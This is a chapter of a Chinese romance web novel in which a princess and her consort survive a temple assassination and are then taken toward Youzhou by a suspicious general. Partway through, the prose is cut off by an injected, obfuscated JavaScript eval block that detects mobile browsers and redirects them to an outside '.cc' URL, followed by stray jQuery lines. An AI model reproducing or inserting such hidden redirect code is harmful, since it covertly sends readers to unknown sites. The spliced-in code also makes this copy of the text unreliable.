29. 黄雀在后

作品:《公主她另有心上人

    滕子尧将和安护在身后,大喝一声:“保护公主,格杀勿论!”


    他们这边五十多岁,很明显比他们二十多人要多,并不怕。


    可是那黑衣人沉声说:“驸马爷,您倒是怪会护花的,不过我们只杀您,不会伤害公主的。”


    然后他一挥刀,立马就冲杀了过来。


    滕子尧的眼神一凛,并未相信,此时他也已经准备好了袖子中的弩箭,随时准备补刀。


    和安公主紧紧的握着他的衣襟,但是却紧张的转头看向了后面,也出现了一堆穿着僧袍的男子,皆都持刀。


    “后面也有!”


    后面四个丫鬟已经也在袖子里面摸出来了匕首,尽管腿已经开始打哆嗦了,但是她们守卫公主驸马的心一点不变。


    侍卫们已经开始厮杀,但是对方派出来的人一个个都是武功高强,后面来的那一伙人,甚至刀上面还有血,定然杀了寺中的不少人。


    刀锋直接的碰撞,晃得和安公主睁不开眼,时不时还会有些皮肉撕开的声音。


    平瑾紧紧的护着自己的主子,但是却感觉应该让他们先撤离。


    “驸马,你先带着公主走,别管我们!”


    平瑾才说完,一刀就砍中了他的侧腰,但是他灵敏,刀伤不深。


    和安闻到了血腥味,整个人也吓得不行,尽管那些人真的不伤害她,但是她还是怕的不行。


    松香胆子大一些,冲上去帮忙刺中了一个刺客,但是那刺客反手就捅了她的腹部,血瞬间喷了出来。


    还好松雪眼疾手快,接住了松香,但是也是吓得不轻。


    那群刺客只不伤公主,别人全然不在乎。


    平瑾这时候喊着他们赶紧撤退,和安都不知道自己已经吓得哭了,这时候滕子尧根本来不及安慰,他的袖箭只剩下一支,需要留着做绝杀。


    握笔的手此时拿着一把钢刀,他拉着她的手,带她冲出血的重围。


    路边有些侍卫的尸体,也有一些刺客的尸体,虽然都会踩一脚血,和安觉得自己迈不动步子。


    滕子尧只能弯腰说:“快上来。”


    他拿着刀顶在前面,四个丫鬟搀扶着受伤的松香,一起往门的位置走,想要开门求一线生机。


    趴在了男子的背上,她突然回了神来:“滕子尧,你会死吗?”


    她不敢低头看地上的尸体,但是却看到他的头发沾着血,那应该是别人的血吧。


    挥着刀砍人的男子却突然的笑了,他的左脸沾着血,血迹从额头蔓延至下颌,看起来是一种带着杀气的冰冷。


    “公主想让臣死吗?”


    “不想,我不准。”


    她的小手捏的很紧,然后她才下定了决心说:“要死一起死。”


    男人又砍伤了一个刺客,那刺客胸前还带着佛珠,被他给轻易割断,血泼到了佛珠上面,变成了红色。


    他的笑意更深,“我们都不会死,公主还欠我两个娃娃呢。”


    此时他们已经到了门口,他伸手推门,沉重的木门被缓缓推动,这时候又一个刺客追了过来。


    和安这时干脆闭着眼要去挡刀,可是却听到了松雪和松柏的声音。


    两个丫鬟齐齐的尖叫,匕首已经刺入了敌人的胸膛,那敌人不敢伤害和安,只能用力踹了松柏一脚,倒地不起。


    松柏被踹到了门上,等她沿着门倒下去,口里面都是鲜血,她一边吐血一边笑着说:“门开了,我们有救了。”


    松雪赶紧扶起来她,就往外奔,滕子尧自己带着和安公主出去了。


    他大踏步的往下走,想要去找救兵,他要救那些人。


    就在他们带着伤员往下走的时候,一群训练有素的士兵冲了上来。


    他们看到了人后,就要行礼,滕子尧制止:“快去救人,有刺客!”


    此时他甚至来不及分辨他们是哪里的人,总归是正规军,先救人再说。


    “留下几个人保护公主驸马,剩下的人,跟我进去。”


    那位将领一脸的络腮胡,看起来老实可靠,带领着人很快就进了庙中。


    滕子尧大概看了看,约二百多人,处理那一帮刺客不会有问题。


    有两个将士还帮着松香和松雪扶着受伤的人,他们告知今日匆忙没带军医,但是可以先帮忙包扎。


    他转头问和安:“公主是想留在这里等着臣,还是进去跟臣一起去看看,我放心不下平瑾。”


    此时她的眼睛变得亮亮的,也没了之前的惶恐不安,只又握住了他的手说:“跟你一起。”


    狭长的眼睛被她感染,滕子尧握紧了她的手,返回到庙里面。


    刺客们已经全部伏诛了,仅有的几个活口也吞毒自杀了。


    他们的人也只剩下了十多个,平瑾挨了好几刀,但是还活着。


    躺在血泊里面的男子,看到自己主子安然无恙,才敢放心的晕倒了。


    “驸马公主,没有留下活口。”


    那将领命人挨着翻遍了一遍,没有活着的。


    这时候滕子尧才询问:“敢问将军是何人麾下的?怎么正巧知道我们这里发生了祸事?”


    那络腮胡子也不拐弯抹角,直说:“在下姓郭。是璋王的属下,今日路过看到山下死了不少官兵,特意上山来营救。”


    他点了点头,然后说:“郭将军,此事非同寻常,希望将军能协助我去报官。”


    但是那憨厚的郭将军却说:“公主凤体最为重要,这景州地界定然是不安全,您还是跟着属下去幽州最为稳妥。”


    和安公主这时候也明白了,她跟滕子尧对视一眼:螳螂扑蝉,黄雀在后,果然没那么简单。


    她指着自己的丫鬟说:“郭将军,我的丫鬟都受了伤,还有这些将领,都是为了救我才受伤,恐怕不能舟车劳顿。”


    滕子尧也说:“此时定然是要抓紧查清楚幕后主使,我们改日再去幽州拜访。”


    可是那将领已经让人把尸体和伤员全都给带走了,他老实憨厚的脸皮呈现出一种木讷的表情:“还请公主驸马莫要为难属下,在下可以将这些人留下好好医治,若是有任何问题,下属愿意赔上性命。”


    此时人为刀俎,他们为鱼肉。


    滕子尧握紧了和安的手,只能跟着他们离开。


    看来璋王是早就有备而来的。


    不过现在他们只能这样了。


    松香和松雪不肯留下,非要跟着和安公主一起去,但是和安却说:“我不放心她们,你们还是留下吧。”


    然后她用一个眼神告诉她们:想办法找人救她们。


    趁着还没


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15133598|162743||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    离开这里,滕子尧跟郭将军说自己需要留下一封书信,告知自己的随从,免得家人担心。


    郭将军并没有拒绝,等信写好了,他们兵分两路,一路带着伤员,一路带着两个人前往幽州。


    那将军对他们也是彬彬有礼,不过和安没走几步就有些累了,滕子尧弯腰将她给背了起来。


    阴天也变成了大太阳,他脸上的血迹干涸在脸上。


    两个人谁都没说话,都沉默的很。


    郭将军虽然粗糙,但是也懂一些人情世故,“前面就有马车了,马上就到了。”


    滕子尧抹了一把头顶的汗,然后说:“无妨。”


    半个时辰后,终于到了山脚,这一路都是这队将士临时开出来的路,不算好走。


    等到了马车前,滕子尧将和安公主放下了,让她先上车,然后才上了车。


    他一上去,和安就看到他小腿处的伤口。


    “你受伤了?”


    “不碍事,皮外伤。”


    是刚刚被路边的荆棘给划破的。


    马车内有一壶茶,和安将自己的帕子用茶水打湿了,给他擦脸上的血。


    她思索再三,才打开帘子对外面说:“郭将军,驸马受了伤,麻烦您拿着伤药来。”


    马车一停,接着就有人送来了伤药,还有干净的纱布。


    但是那高大男子却不肯让她上药,一个劲的说:“臣真的没事。”


    这下和安突然就绷不住了,她的眼睛生的很美,一流泪就更加使人心疼,搅得他心里难受。


    他一下是伸手去搂人,却只搂了个空。


    “你这般不疼自己,是不是想让我守寡,那刚刚还不如一起让刺客杀了算了。”


    娇软的声音带着哭腔,我见犹怜。


    滕子尧一下子就慌了:“公主这话是怎么说的,怎么就说到了这里呢,臣错了,臣知道错了。”


    然后他赶紧又凑过去抱她,然后亲到她的泪痕上面,声音低沉嘶哑:“臣错了,让公主哭了,臣罪该万死。”


    他的唇冰凉细腻,渐渐的止住了她的眼泪,那双红彤彤的眼睛盯着他,还是想要哭。


    然后他只能握着她的手,慢慢的说:“先给臣擦一擦,臣有点疼。”


    这时候和安才破涕为笑,但是小手也故意在他腿上的伤口锤了一下,疼的他闷哼出声。


    然后才开始擦他脸上头上的血,凝固的血液变成了一块块,碎裂在她的手绢上面。


    不过腿上的伤,滕子尧是自己处理的。


    他简单的上了药后,把人抱在自己的腿上。


    此时他必须要跟和安公主说清楚利害。


    她抱着他的脖子,只感觉现在很安全。


    “公主,咱们不知道璋王是想干什么,所以要小心谨慎。”


    “嗯。”


    “到时候,您保重好自己的安全,一切都教给臣。”


    “嗯。”


    他闻着她发丝的清香,想了又想终于还是讲出来了那句话。


    “若是到了不得已的时候,臣是说假设到了那一刻,您可以选择放弃臣自救。”


    他的话才说完,就感觉脖子被一口小牙齿给咬住了皮肉,疼的他一愣。


    和安死死的咬住了他的脖子,似乎是又生了气了。